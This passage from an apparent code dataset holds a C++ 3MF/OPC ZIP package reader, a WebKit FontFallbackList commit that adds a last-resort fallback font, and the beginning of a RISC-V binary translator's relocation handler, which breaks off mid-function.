(...)\n\t\t{\n\t\t\treleaseZIP();\n\t\t\tthrow;\n\t\t}\n\t}\n\n\tCOpcPackageReader::~COpcPackageReader()\n\t{\n\t\treleaseZIP();\n\t}\n\n\t_Ret_maybenull_ COpcPackageRelationship * COpcPackageReader::findRootRelation(_In_ std::string sRelationType, _In_ nfBool bMustBeUnique)\n\t{\n\t\tCOpcPackageRelationship * pResultRelationship = nullptr;\n\t\tauto iIterator = m_RootRelationships.begin();\n\t\twhile (iIterator != m_RootRelationships.end()) {\n\t\t\tPOpcPackageRelationship pRelationship = *iIterator;\n\n\t\t\tstd::string sType = pRelationship->getType();\n\t\t\tif (sType == sRelationType) {\n\t\t\t\tif (pResultRelationship == nullptr) {\n\t\t\t\t\tpResultRelationship = pRelationship.get();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif (bMustBeUnique)\n\t\t\t\t\t\tm_pWarnings->addException(CNMRException(NMR_ERROR_OPCRELATIONSHIPNOTUNIQUE), eModelReaderWarningLevel::mrwInvalidOptionalValue);\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tiIterator++;\n\t\t}\n\n\t\treturn pResultRelationship;\n\t}\n\n\tvoid COpcPackageReader::releaseZIP()\n\t{\n\t\tif (m_ZIParchive != nullptr)\n\t\t\tzip_close(m_ZIParchive);\n\n\t\tif (m_ZIPsource != nullptr)\n\t\t\tzip_source_close(m_ZIPsource);\n\n\t\tzip_error_fini(&m_ZIPError);\n\t\tm_Buffer.resize(0);\n\n\t\tm_ZIPsource = nullptr;\n\t\tm_ZIParchive = nullptr;\n\t}\n\n\tPImportStream COpcPackageReader::openZIPEntry(_In_ std::string sName)\n\t{\n\t\tauto iIterator = m_ZIPEntries.find(sName);\n\t\tif (iIterator == m_ZIPEntries.end()) {\n\t\t\treturn nullptr;\n\t\t}\n\n\t\treturn openZIPEntryIndexed(iIterator->second);\n\t}\n\n\tPImportStream COpcPackageReader::openZIPEntryIndexed(_In_ nfUint64 nIndex)\n\t{\n\t\tzip_stat_t Stat;\n\t\tnfInt32 nResult = zip_stat_index(m_ZIParchive, nIndex, ZIP_FL_UNCHANGED, &Stat);\n\t\tif (nResult != 0)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTSTATZIPENTRY);\n\n\t\tnfUint64 nSize = Stat.size;\n\n\t\tzip_file_t * pFile = zip_fopen_index(m_ZIParchive, nIndex, ZIP_FL_UNCHANGED);\n\t\tif (pFile == nullptr)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTOPENZIPENTRY);\n\n\t\treturn std::make_shared<CImportStream_ZIP>(pFile, nSize);\n\t}\n\n\n\tvoid COpcPackageReader::readContentTypes()\n\t{\n\t\tPImportStream pContentStream = openZIPEntry(OPCPACKAGE_PATH_CONTENTTYPES);\n\n\t\tPOpcPackageContentTypesReader pReader = std::make_shared<COpcPackageContentTypesReader>(pContentStream, m_pProgressMonitor);\n\n\t\tnfUint32 nCount = pReader->getCount();\n\t\tnfUint32 nIndex;\n\n\t\tstd::string modelExtension = \"\";\n\t\tstd::string modelPart = \"\";\n\t\tm_relationShipExtension = \"\";\n\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\tPOpcPackageContentType pContentType = pReader->getContentType(nIndex);\n\t\t\tif (pContentType->m_contentType == PACKAGE_3D_RELS_CONTENT_TYPE) {\n\t\t\t\tm_relationShipExtension = pContentType->m_extension;\n\t\t\t}\n\t\t\tif (pContentType->m_contentType == PACKAGE_3D_MODEL_CONTENT_TYPE) {\n\t\t\t\tmodelExtension = pContentType->m_extension;\n\t\t\t}\n\t\t}\n\t\tif (m_relationShipExtension.empty())\n\t\t\tthrow CNMRException(NMR_ERROR_OPC_MISSING_EXTENSION_FOR_RELATIONSHIP);\n\n\t\tnCount = pReader->getOverrideCount();\n\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\tPOpcPackageContentType_Override pOverrideContentType = pReader->getOverrideContentType(nIndex);\n\t\t\tif (pOverrideContentType->m_contentType == PACKAGE_3D_MODEL_CONTENT_TYPE) {\n\t\t\t\tmodelPart = pOverrideContentType->m_partName;\n\t\t\t}\n\t\t}\n\n\t\tif (modelExtension.empty() && modelPart.empty())\n\t\t\tthrow CNMRException(NMR_ERROR_OPC_MISSING_EXTENSION_FOR_MODEL);\n\t}\n\n\tvoid COpcPackageReader::readRootRelationships()\n\t{\n\t\tPImportStream pRelStream = openZIPEntry(OPCPACKAGE_PATH_ROOTRELATIONSHIPS);\n\n\t\tPOpcPackageRelationshipReader pReader = std::make_shared<COpcPackageRelationshipReader>(pRelStream, m_pProgressMonitor);\n\n\t\tnfUint32 nCount = pReader->getCount();\n\t\tnfUint32 nIndex;\n\n\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\tm_RootRelationships.push_back(pReader->getRelationShip(nIndex));\n\t\t}\n\t}\n\n\tnfUint64 COpcPackageReader::GetPartSize(_In_ std::string sPath)\n\t{\n\t\tstd::string sRealPath = fnRemoveLeadingPathDelimiter(sPath);\n\t\tauto iIterator = m_ZIPEntries.find(sRealPath);\n\t\tif (iIterator == m_ZIPEntries.end()) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tzip_stat_t Stat;\n\t\tnfInt32 nResult = zip_stat_index(m_ZIParchive, iIterator->second, ZIP_FL_UNCHANGED, &Stat);\n\t\tif (nResult != 0)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTSTATZIPENTRY);\n\n\t\treturn Stat.size;\n\t}\n\n\tPOpcPackagePart COpcPackageReader::createPart(_In_ std::string sPath)\n\t{\n\t\tstd::string sRealPath = fnRemoveLeadingPathDelimiter (sPath);\n\t\tauto iPartIterator = m_Parts.find(sRealPath);\n\t\tif (iPartIterator != m_Parts.end()) {\n\t\t\treturn iPartIterator->second;\n\t\t}\n\t\t\n\t\tPImportStream pStream = openZIPEntry(sRealPath);\n\t\tif (pStream.get() == nullptr)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTCREATEOPCPART);\n\n\t\tPOpcPackagePart pPart = std::make_shared<COpcPackagePart>(sRealPath, pStream);\n\t\tm_Parts.insert(std::make_pair(sRealPath, pPart));\n\n\t\tstd::string sRelationShipName = fnExtractFileName(sRealPath);\n\t\tstd::string sRelationShipPath = sRealPath.substr(0, sRealPath.length() - sRelationShipName.length());\n\t\tsRelationShipPath += \"_rels\/\";\n\t\tsRelationShipPath += sRelationShipName;\n\t\tsRelationShipPath += \".\"+m_relationShipExtension;\n\n\t\tPImportStream pRelStream = openZIPEntry(sRelationShipPath);\n\n\t\tif (pRelStream.get() != nullptr) {\n\t\t\tPOpcPackageRelationshipReader pReader = std::make_shared<COpcPackageRelationshipReader>(pRelStream, m_pProgressMonitor);\n\n\t\t\tnfUint32 nCount = pReader->getCount();\n\t\t\tnfUint32 nIndex;\n\n\t\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\t\tPOpcPackageRelationship pRelationShip = pReader->getRelationShip(nIndex);\n\t\t\t\tpPart->addRelationship(pRelationShip->getID(), pRelationShip->getType(), pRelationShip->getTargetPartURI());\n\t\t\t}\n\t\t}\n\n\t\treturn pPart;\n\t}\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2006 Apple Computer, Inc.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1.  Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * 2.  Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n * 3.  Neither the name of Apple Computer, Inc. (\"Apple\") nor the names of\n *     its contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"platform\/fonts\/FontFallbackList.h\"\n\n#include \"FontFamilyNames.h\"\n#include \"platform\/fonts\/FontCache.h\"\n#include \"platform\/fonts\/FontDescription.h\"\n#include \"platform\/fonts\/FontFamily.h\"\n#include \"platform\/fonts\/SegmentedFontData.h\"\n\nnamespace WebCore {\n\nFontFallbackList::FontFallbackList()\n    : m_pageZero(0)\n    , m_cachedPrimarySimpleFontData(0)\n    , m_fontSelector(nullptr)\n    , m_fontSelectorVersion(0)\n    , m_familyIndex(0)\n    , m_generation(FontCache::fontCache()->generation())\n    , m_pitch(UnknownPitch)\n    , m_loadingCustomFonts(false)\n{\n}\n\nvoid FontFallbackList::invalidate(PassRefPtr<FontSelector> fontSelector)\n{\n    releaseFontData();\n    m_fontList.clear();\n    m_pageZero = 0;\n    m_pages.clear();\n    m_cachedPrimarySimpleFontData = 0;\n    m_familyIndex = 0;\n    m_pitch = UnknownPitch;\n    m_loadingCustomFonts = false;\n    m_fontSelector = fontSelector;\n    m_fontSelectorVersion = m_fontSelector ? m_fontSelector->version() : 0;\n    m_generation = FontCache::fontCache()->generation();\n    m_widthCache.clear();\n}\n\nvoid FontFallbackList::releaseFontData()\n{\n    unsigned numFonts = m_fontList.size();\n    for (unsigned i = 0; i < numFonts; ++i) {\n        if (!m_fontList[i]->isCustomFont()) {\n            ASSERT(!m_fontList[i]->isSegmented());\n            FontCache::fontCache()->releaseFontData(static_cast<const SimpleFontData*>(m_fontList[i].get()));\n        }\n    }\n}\n\nvoid FontFallbackList::determinePitch(const FontDescription& fontDescription) const\n{\n    const FontData* fontData = primaryFontData(fontDescription);\n    if (!fontData->isSegmented())\n        m_pitch = static_cast<const SimpleFontData*>(fontData)->pitch();\n    else {\n        const SegmentedFontData* segmentedFontData = static_cast<const SegmentedFontData*>(fontData);\n        unsigned numRanges = segmentedFontData->numRanges();\n        if (numRanges == 1 && segmentedFontData->rangeAt(0).isEntireRange())\n            m_pitch = segmentedFontData->rangeAt(0).fontData()->pitch();\n        else\n            m_pitch = VariablePitch;\n    }\n}\n\nbool FontFallbackList::loadingCustomFonts() const\n{\n    if (m_loadingCustomFonts)\n        return true;\n\n    unsigned numFonts = m_fontList.size();\n    for (unsigned i = 0; i < numFonts; ++i) {\n        if (m_fontList[i]->isCustomFont() && m_fontList[i]->isLoading()) {\n            m_loadingCustomFonts = true;\n            return true;\n        }\n    }\n    return false;\n}\n\nconst FontData* FontFallbackList::primaryFontData(const FontDescription& fontDescription) const\n{\n    bool shouldLoadCustomFont = true;\n\n    for (unsigned fontIndex = 0; ; ++fontIndex) {\n        const FontData* fontData = fontDataAt(fontDescription, fontIndex);\n        if (!fontData) {\n            \/\/ All fonts are custom fonts and are loading. Return the first FontData.\n            \/\/ FIXME: Correct fallback to the default font.\n            return fontDataAt(fontDescription, 0);\n        }\n\n        if (fontData->isSegmented() && !toSegmentedFontData(fontData)->containsCharacter(' '))\n            continue;\n\n        \/\/ When a custom font is loading, we should use the correct fallback font to layout the text.\n        \/\/ Here skip the temporary font for the loading custom font which may not act as the correct fallback font.\n        if (!fontData->isLoadingFallback())\n            return fontData;\n\n        \/\/ Begin to load the first custom font if needed.\n        if (shouldLoadCustomFont) {\n            shouldLoadCustomFont = false;\n            const SimpleFontData* simpleFontData = fontData->fontDataForCharacter(' ');\n            if (simpleFontData && simpleFontData->customFontData())\n                simpleFontData->customFontData()->beginLoadIfNeeded();\n        }\n    }\n}\n\nPassRefPtr<FontData> FontFallbackList::getFontData(const FontDescription& fontDescription, int& familyIndex) const\n{\n    RefPtr<FontData> result;\n\n    int startIndex = familyIndex;\n    const FontFamily* startFamily = &fontDescription.family();\n    for (int i = 0; startFamily && i < startIndex; i++)\n        startFamily = startFamily->next();\n    const FontFamily* currFamily = startFamily;\n    while (currFamily && !result) {\n        familyIndex++;\n        if (currFamily->family().length()) {\n            if (m_fontSelector)\n                result = m_fontSelector->getFontData(fontDescription, currFamily->family());\n\n            if (!result)\n                result = FontCache::fontCache()->getFontData(fontDescription, currFamily->family());\n        }\n        currFamily = currFamily->next();\n    }\n\n    if (!currFamily)\n        familyIndex = cAllFamiliesScanned;\n\n    if (result || startIndex)\n        return result.release();\n\n    \/\/ If it's the primary font that we couldn't find, we try the following. In all other cases, we will\n    \/\/ just use per-character system fallback.\n\n    if (m_fontSelector) {\n        \/\/ Try the user's preferred standard font.\n        if (RefPtr<FontData> data = m_fontSelector->getFontData(fontDescription, FontFamilyNames::webkit_standard))\n            return data.release();\n    }\n\n    \/\/ Still no result. Hand back our last resort fallback font.\n    return FontCache::fontCache()->getLastResortFallbackFont(fontDescription);\n}\n\n\nconst FontData* FontFallbackList::fontDataAt(const FontDescription& fontDescription, unsigned realizedFontIndex) const\n{\n    if (realizedFontIndex < m_fontList.size())\n        return m_fontList[realizedFontIndex].get(); \/\/ This fallback font is already in our list.\n\n    \/\/ Make sure we're not passing in some crazy value here.\n    ASSERT(realizedFontIndex == m_fontList.size());\n\n    if (m_familyIndex == cAllFamiliesScanned)\n        return 0;\n\n    \/\/ Ask the font cache for the font data.\n    \/\/ We are obtaining this font for the first time.  We keep track of the families we've looked at before\n    \/\/ in |m_familyIndex|, so that we never scan the same spot in the list twice.  getFontData will adjust our\n    \/\/ |m_familyIndex| as it scans for the right font to make.\n    ASSERT(FontCache::fontCache()->generation() == m_generation);\n    RefPtr<FontData> result = getFontData(fontDescription, m_familyIndex);\n    if (result) {\n        m_fontList.append(result);\n        if (result->isLoading())\n            m_loadingCustomFonts = true;\n    }\n    return result.get();\n}\n\n}\n<commit_msg>Add last resort to fallback chain in FontFallbackList::primaryFontData<commit_after>\/*\n * Copyright (C) 2006 Apple Computer, Inc.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1.  Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * 2.  Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n * 3.  Neither the name of Apple Computer, Inc. (\"Apple\") nor the names of\n *     its contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"platform\/fonts\/FontFallbackList.h\"\n\n#include \"FontFamilyNames.h\"\n#include \"platform\/fonts\/FontCache.h\"\n#include \"platform\/fonts\/FontDescription.h\"\n#include \"platform\/fonts\/FontFamily.h\"\n#include \"platform\/fonts\/SegmentedFontData.h\"\n\nnamespace WebCore {\n\nFontFallbackList::FontFallbackList()\n    : m_pageZero(0)\n    , m_cachedPrimarySimpleFontData(0)\n    , m_fontSelector(nullptr)\n    , m_fontSelectorVersion(0)\n    , m_familyIndex(0)\n    , m_generation(FontCache::fontCache()->generation())\n    , m_pitch(UnknownPitch)\n    , m_loadingCustomFonts(false)\n{\n}\n\nvoid FontFallbackList::invalidate(PassRefPtr<FontSelector> fontSelector)\n{\n    releaseFontData();\n    m_fontList.clear();\n    m_pageZero = 0;\n    m_pages.clear();\n    m_cachedPrimarySimpleFontData = 0;\n    m_familyIndex = 0;\n    m_pitch = UnknownPitch;\n    m_loadingCustomFonts = false;\n    m_fontSelector = fontSelector;\n    m_fontSelectorVersion = m_fontSelector ? m_fontSelector->version() : 0;\n    m_generation = FontCache::fontCache()->generation();\n    m_widthCache.clear();\n}\n\nvoid FontFallbackList::releaseFontData()\n{\n    unsigned numFonts = m_fontList.size();\n    for (unsigned i = 0; i < numFonts; ++i) {\n        if (!m_fontList[i]->isCustomFont()) {\n            ASSERT(!m_fontList[i]->isSegmented());\n            FontCache::fontCache()->releaseFontData(static_cast<const SimpleFontData*>(m_fontList[i].get()));\n        }\n    }\n}\n\nvoid FontFallbackList::determinePitch(const FontDescription& fontDescription) const\n{\n    const FontData* fontData = primaryFontData(fontDescription);\n    if (!fontData->isSegmented())\n        m_pitch = static_cast<const SimpleFontData*>(fontData)->pitch();\n    else {\n        const SegmentedFontData* segmentedFontData = static_cast<const SegmentedFontData*>(fontData);\n        unsigned numRanges = segmentedFontData->numRanges();\n        if (numRanges == 1 && segmentedFontData->rangeAt(0).isEntireRange())\n            m_pitch = segmentedFontData->rangeAt(0).fontData()->pitch();\n        else\n            m_pitch = VariablePitch;\n    }\n}\n\nbool FontFallbackList::loadingCustomFonts() const\n{\n    if (m_loadingCustomFonts)\n        return true;\n\n    unsigned numFonts = m_fontList.size();\n    for (unsigned i = 0; i < numFonts; ++i) {\n        if (m_fontList[i]->isCustomFont() && m_fontList[i]->isLoading()) {\n            m_loadingCustomFonts = true;\n            return true;\n        }\n    }\n    return false;\n}\n\nconst FontData* FontFallbackList::primaryFontData(const FontDescription& fontDescription) const\n{\n    bool shouldLoadCustomFont = true;\n\n    for (unsigned fontIndex = 0; ; ++fontIndex) {\n        const FontData* fontData = fontDataAt(fontDescription, fontIndex);\n        if (!fontData) {\n            \/\/ All fonts are custom fonts and are loading. Return the first FontData.\n            fontData = fontDataAt(fontDescription, 0);\n            if (!fontData)\n                fontData = FontCache::fontCache()->getLastResortFallbackFont(fontDescription).get();\n            ASSERT(fontData);\n            return fontData;\n        }\n\n        if (fontData->isSegmented() && !toSegmentedFontData(fontData)->containsCharacter(' '))\n            continue;\n\n        \/\/ When a custom font is loading, we should use the correct fallback font to layout the text.\n        \/\/ Here skip the temporary font for the loading custom font which may not act as the correct fallback font.\n        if (!fontData->isLoadingFallback())\n            return fontData;\n\n        \/\/ Begin to load the first custom font if needed.\n        if (shouldLoadCustomFont) {\n            shouldLoadCustomFont = false;\n            const SimpleFontData* simpleFontData = fontData->fontDataForCharacter(' ');\n            if (simpleFontData && simpleFontData->customFontData())\n                simpleFontData->customFontData()->beginLoadIfNeeded();\n        }\n    }\n}\n\nPassRefPtr<FontData> FontFallbackList::getFontData(const FontDescription& fontDescription, int& familyIndex) const\n{\n    RefPtr<FontData> result;\n\n    int startIndex = familyIndex;\n    const FontFamily* startFamily = &fontDescription.family();\n    for (int i = 0; startFamily && i < startIndex; i++)\n        startFamily = startFamily->next();\n    const FontFamily* currFamily = startFamily;\n    while (currFamily && !result) {\n        familyIndex++;\n        if (currFamily->family().length()) {\n            if (m_fontSelector)\n                result = m_fontSelector->getFontData(fontDescription, currFamily->family());\n\n            if (!result)\n                result = FontCache::fontCache()->getFontData(fontDescription, currFamily->family());\n        }\n        currFamily = currFamily->next();\n    }\n\n    if (!currFamily)\n        familyIndex = cAllFamiliesScanned;\n\n    if (result || startIndex)\n        return result.release();\n\n    \/\/ If it's the primary font that we couldn't find, we try the following. In all other cases, we will\n    \/\/ just use per-character system fallback.\n\n    if (m_fontSelector) {\n        \/\/ Try the user's preferred standard font.\n        if (RefPtr<FontData> data = m_fontSelector->getFontData(fontDescription, FontFamilyNames::webkit_standard))\n            return data.release();\n    }\n\n    \/\/ Still no result. Hand back our last resort fallback font.\n    return FontCache::fontCache()->getLastResortFallbackFont(fontDescription);\n}\n\n\nconst FontData* FontFallbackList::fontDataAt(const FontDescription& fontDescription, unsigned realizedFontIndex) const\n{\n    if (realizedFontIndex < m_fontList.size())\n        return m_fontList[realizedFontIndex].get(); \/\/ This fallback font is already in our list.\n\n    \/\/ Make sure we're not passing in some crazy value here.\n    ASSERT(realizedFontIndex == m_fontList.size());\n\n    if (m_familyIndex == cAllFamiliesScanned)\n        return 0;\n\n    \/\/ Ask the font cache for the font data.\n    \/\/ We are obtaining this font for the first time.  We keep track of the families we've looked at before\n    \/\/ in |m_familyIndex|, so that we never scan the same spot in the list twice.  getFontData will adjust our\n    \/\/ |m_familyIndex| as it scans for the right font to make.\n    ASSERT(FontCache::fontCache()->generation() == m_generation);\n    RefPtr<FontData> result = getFontData(fontDescription, m_familyIndex);\n    if (result) {\n        m_fontList.append(result);\n        if (result->isLoading())\n            m_loadingCustomFonts = true;\n    }\n    return result.get();\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Relocation.h\"\n\n#include \"Builder.h\"\n#include \"Instruction.h\"\n#include \"Object.h\"\n#include \"SBTError.h\"\n#include \"Section.h\"\n#include \"ShadowImage.h\"\n#include \"Translator.h\"\n\n#include <llvm\/IR\/Module.h>\n#include <llvm\/Object\/ELF.h>\n#include <llvm\/Support\/FormatVariadic.h>\n\n#undef ENABLE_DBGS\n#define ENABLE_DBGS 1\n#include \"Debug.h\"\n\n#include <functional>\n\n\nnamespace sbt {\n\nSBTRelocation::SBTRelocation(\n    Context* ctx,\n    ConstRelocIter ri,\n    ConstRelocIter re,\n    ConstSectionPtr section)\n    :\n    _ctx(ctx),\n    _ri(ri),\n    _re(re),\n    _section(section),\n    _cur(nextReloc(true)),\n    _curP(nullptr)\n{\n}\n\n\nConstRelocationPtr SBTRelocation::nextReloc(bool init)\n{\n    if (init)\n        _cur = _ri == _re? nullptr : *_ri;\n    else {\n        xassert(_cur == *_ri);\n        ++_ri;\n        if (_ri != _re)\n            _cur = *_ri;\n        else\n            _cur = nullptr;\n    }\n\n    \/\/ skip relax\n    if (_cur && _cur->type() == llvm::ELF::R_RISCV_RELAX)\n        return nextReloc();\n    return _cur;\n}\n\n\nConstRelocationPtr SBTRelocation::nextPReloc()\n{\n    xassert(_curP == _proxyRelocs.front());\n    _proxyRelocs.pop();\n    if (!_proxyRelocs.empty())\n        _curP = _proxyRelocs.front();\n    else\n        _curP = nullptr;\n    return _curP;\n}\n\n\nConstRelocationPtr SBTRelocation::getReloc(uint64_t addr)\n{\n    if (!_cur && !_curP)\n        return nullptr;\n\n    \/\/ check if we skipped some addresses and now need to\n    \/\/ advance the iterator\n    while (_cur && addr > _cur->offset())\n        nextReloc();\n    while (_curP && addr > _curP->offset())\n        nextPReloc();\n\n    ConstRelocationPtr ret = nullptr, next = nullptr;\n    if (_cur && _cur->offset() == addr) {\n        ret = _cur;\n        next = nextReloc();\n    } else if (_curP && _curP->offset() == addr) {\n        ret = _curP;\n        next = nextPReloc();\n    }\n\n    xassert(!next || next->offset() != addr);\n    return ret;\n}\n\n\nvoid SBTRelocation::skipRelocation(uint64_t addr)\n{\n    \/\/ check if there is a relocation for current address\n    getReloc(addr);\n}\n\n\nvoid SBTRelocation::addProxyReloc(ConstRelocationPtr reloc,\n    Relocation::RType rtype)\n{\n    const LLVMRelocation* llrel = static_cast<const LLVMRelocation*>(&*reloc);\n    ProxyRelocation* hi = new ProxyRelocation(*llrel);\n    ProxyRelocation* lo = new ProxyRelocation(*llrel);\n\n    switch (rtype) {\n        case Relocation::PROXY:\n            hi->setType(Relocation::PROXY_HI);\n            lo->setType(Relocation::PROXY_LO);\n            break;\n        case Relocation::PROXY_PCREL:\n            hi->setType(Relocation::PROXY_PCREL_HI);\n            lo->setType(Relocation::PROXY_PCREL_LO);\n            lo->setHiPC(hi->offset());\n            break;\n        case Relocation::PROXY_CALL:\n            hi->setType(Relocation::PROXY_CALL_HI);\n            lo->setType(Relocation::PROXY_CALL_LO);\n            break;\n        default:\n            xunreachable(\"Unknown proxy relocation type\");\n    }\n\n    lo->setOffset(hi->offset() + Constants::INSTRUCTION_SIZE);\n\n    _proxyRelocs.emplace(hi);\n    _proxyRelocs.emplace(lo);\n\n    if (!_curP)\n        _curP = _proxyRelocs.front();\n}\n\n\nllvm::Expected<llvm::Constant*>\nSBTRelocation::handleRelocation(uint64_t addr, llvm::raw_ostream* os)\n{\n    ConstRelocationPtr reloc = getReloc(addr);\n\n    \/\/ no more relocations exist\n    if (!reloc)\n        return nullptr;\n\n    DBGS << __METHOD_NAME__ << llvm::formatv(\"({0:X+8})\\n\", addr);\n    DBGF(\"{0}\", reloc->str());\n\n    std::function<llvm::Constant*(llvm::Constant* addr)> relfn;\n\n    switch (reloc->type()) {\n        case Relocation::PROXY_HI:\n        case llvm::ELF::R_RISCV_HI20:\n            \/\/ hi20 = (symbol_address + 0x800) >> 12\n            relfn = [this](llvm::Constant* addr) {\n                llvm::Constant* c = llvm::ConstantExpr::getAdd(\n                    addr, _ctx->c.u32(0x800));\n                c = llvm::ConstantExpr::getLShr(c, _ctx->c.u32(12));\n                return c;\n            };\n            break;\n\n        case Relocation::PROXY_LO:\n        case llvm::ELF::R_RISCV_LO12_I:\n        case llvm::ELF::R_RISCV_LO12_S:\n            \/\/ lo12 = symbol_address - hi20\n            \/\/ hi20 = (symbol_address + 0x800) & 0xFFFFF000\n            relfn = [this](llvm::Constant* addr) {\n                llvm::Constant* hi20 = llvm::ConstantExpr::getAdd(\n                    addr, _ctx->c.u32(0x800));\n                hi20 = llvm::ConstantExpr::getAnd(\n                    hi20, _ctx->c.u32(0xFFFFF000));\n\n                llvm::Constant* c = llvm::ConstantExpr::getSub(addr, hi20);\n                return c;\n            };\n            break;\n\n        case Relocation::PROXY_CALL_HI:\n        case Relocation::PROXY_PCREL_HI:\n            \/\/ hi20 = (symbol_address - pc + 0x800) >> 12\n            relfn = [this, addr](llvm::Constant* symaddr) {\n                llvm::Constant* c = llvm::ConstantExpr::getSub(\n                    symaddr, _ctx->c.u32(addr));\n                c = llvm::ConstantExpr::getAdd(c, _ctx->c.u32(0x800));\n                c = llvm::ConstantExpr::getLShr(c, _ctx->c.u32(12));\n                return c;\n            };\n            break;\n\n        case Relocation::PROXY_CALL_LO:\n        case Relocation::PROXY_PCREL_LO:\n            \/\/ lo12 = symbol_address - hipc - hi20\n            \/\/ hi20 = (symbol_address - hipc + 0x800) & 0xFFFFF000\n            relfn = [this, &reloc](llvm::Constant* symaddr) {\n                const ProxyRelocation* pr =\n                    static_cast<const ProxyRelocation*>(reloc.get());\n                llvm::Constant* hipc = _ctx->c.u32(pr->hiPC());\n\n                llvm::Constant* hi20 = llvm::ConstantExpr::getSub(\n                    symaddr, hipc);\n                hi20 = llvm::ConstantExpr::getAdd(hi20, _ctx->c.u32(0x800));\n                hi20 = llvm::ConstantExpr::getAnd(\n                        hi20, _ctx->c.u32(0xFFFFF000));\n\n                llvm::Constant* c = llvm::ConstantExpr::getSub(\n                    symaddr, hipc);\n                c = llvm::ConstantExpr::getSub(c, hi20);\n                return c;\n            };\n            break;\n\n        case llvm::ELF::R_RISCV_CALL:\n            addProxyReloc(reloc, Relocation::PROXY_CALL);\n            return handleRelocation(addr, os);\n\n        case llvm::ELF::R_RISCV_PCREL_HI20:\n        case llvm::ELF::R_RISCV_PCREL_LO12_I:\n        case llvm::ELF::R_RISCV_PCREL_LO12_S:\n        default:\n            xunreachable(\"unknown relocation\");\n    }\n\n    bool isLocalFunc = reloc->isLocalFunction();\n    bool isExt = reloc->isExternal();\n    reloc->validate();\n\n    llvm::Constant* c = nullptr;\n\n    \/\/ external symbol case: handle data or function\n    if (isExt) {\n        auto expAddr =_ctx->translator->import(reloc->symName());\n        if (!expAddr)\n            return expAddr.takeError();\n        uint64_t saddr = expAddr.get().first;\n        const std::string& xfunc = expAddr.get().second;\n\n        \/\/ data\n        if (saddr == SYM_TYPE_DATA) {\n            DBGF(\"external data: saddr={0:X+8}\", saddr);\n\n            const Types& t = _ctx->t;\n            c = _ctx->module->getOrInsertGlobal(reloc->symName(), t.i32);\n            c = llvm::ConstantExpr::getPointerCast(c, t.i32);\n\n        \/\/ handle external function\n        } else {\n            DBGF(\"external function: saddr={0:X+8}\", saddr);\n            c = _ctx->c.i32(saddr);\n        }\n\n        if (os)\n            *os << xfunc;\n\n    \/\/ internal function or label case\n    \/\/ XXX we rely on symbol information to distinguish\n    \/\/     between function or label (see isFunction())\n    } else if (isLocalFunc) {\n        \/\/ get address\n        uint64_t saddr;\n        if (reloc->hasSym())\n            saddr = reloc->symAddr();\n        else\n            saddr = reloc->addend();\n\n        bool isFunc = Function::isFunction(_ctx, saddr);\n        Function* f = _ctx->funcByAddr(saddr, !ASSERT_NOT_NULL);\n\n        if (isFunc) 